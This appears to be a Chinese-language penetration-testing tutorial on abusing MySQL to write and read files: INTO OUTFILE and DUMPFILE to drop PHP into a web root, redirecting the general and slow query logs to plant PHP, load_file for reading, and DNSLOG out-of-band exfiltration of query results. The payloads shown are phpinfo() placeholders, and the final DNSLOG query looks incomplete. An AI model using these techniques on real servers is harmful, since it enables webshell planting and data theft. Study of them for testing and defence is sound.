函数写文件
前提条件
1.有网站的绝对路径
2.数据库secure_file_priv
包含了写入的路径
- secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
- secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
- secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
3.mysql服务对网站的访问路径有写的权限
4.mysql连接用户有File权限
5.未对SQL语句“转义
outfile,dumpfile后的地址必须以引号包裹
mysql配置文件my.ini中定义了secure_file_priv等配置
mysql权限部分参考MySQL查看用户权限及权限管理
写入函数
OUTFILE
1.如果有多行数据,写文件时会给每行自动加上换行符
2.写文件时会自动将特殊符号转义,如/n
会导致数据换行
3.outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径导致写shell时无法通过hex编码或char()来bypass引号转义等
4.文件不能覆盖写入,所以写入文件必须为不存在
select user from mysql.user INTO OUTFILE 'D:\\mysql.txt';
DUMPFILE
1.dumpfile 只能导出一行
2.dumpfile 在写⽂件时会保持⽂件的原⽣格式,适合写二进制文件,如exe文件,udf提权的dll文件
3.dumpfile 的路径不能是0x开头或者char转换以后的路径
4.文件不能覆盖写入,所以写入文件必须为不存在
select '<?php phpinfo();?>' into dumpfile "D:\\phpstudy_pro\\WWW\\mysql.php";
如果向已经存在的文件中写入则会报错
一般来说windows系统写入以后即可直接连接,而linux系统下mysql服务向网站目录写入文件受权限影响较大。
日志写文件
前提条件
通过改写日志内容以及日志储存的地址来写文件
利用条件
1.网站可访问的绝对路径
2.mysql连接用户有开启日志记录和修改日志地址的权限
3.mysql服务有向网站路径写文件的权限
4.GPC关闭未对闭合用的引号转义
日志种类
mysql日志种类
- 错误日志 (记录启动,运行,停止mysql时出现的信息)
- 查询日志 (记录建立的客户端连接和执行的语句)
- 慢查询日志 (记录所有执行超过long_query_time秒的所有查询)
- 二进制日志 (记录所有更改数据的语句,还用于复制,恢复数据库用)
- 更新日志(二进制日志已经代替了老的更新日志,更新日志在MySQL 5.1中不再使用)
只有查询日志和慢查询日志可以利用
查询日志
查看查询日志信息show variables like "general%";
开启查询日志权限并改变日志地址
set global general_log = 1;
set global general_log_file = "D:\\phpstudy_pro\\WWW\\mysqllog.php";
尝试执行带有恶意代码的sql语句
select '<?php phpinfo();?>';
可以看出顺利写入日志文件
日志文件同样在linux中由MySQL服务创建,所以权限限制比较大,Web服务器访问文件时可能因为没有权限导致利用失败。
慢查询日志
慢查询日志是用来记录执行时间超过指定时间的查询语句。
查看日志情况语句show global variables like '%log%';
slow_query_log
和slow_query_log_file
表示慢日志是否开启以及储存的位置。默认是OFF不开启慢日志的
查看超过多少s会被记录慢查询日志SHOW GLOBAL VARIABLES LIKE 'long%';
开启慢查询日志,并设定保存路径
set global slow_query_log = 1;
slow_query_log_file = 'D:\phpstudy_pro\WWW\mysql.php';
日志保存的路径可以hex编码
测试延时语句并尝试写入恶意代码
select "<?php phpinfo();?>" from mysql.user where sleep(11);
发现文件被写入恶意内容
读文件
前提条件
1.有读取文件的绝对路径
2.mysql服务对路径有读的权限
3.mysql连接用户有File权限
4.secure_file_priv的值非NULL或包含了所读文件的绝对路径
读取函数
load_file
采用select load_file('绝对路径')
来读取,与outfile/dumpfile不同的是,这里的绝对路径可以hex编码
测试语句
select load_file("D:\phpstudy_pro\WWW\mysql.php");
DNSLOG
在没有回显的情况下可以利用dns解析的请求带出数据。
可以先从http://dnslog.cn/获得一个地址,再对想要获得数据进行拼接,通过解析记录带出数据。
select load_file(concat('\\\\', user(), '.dnslog'));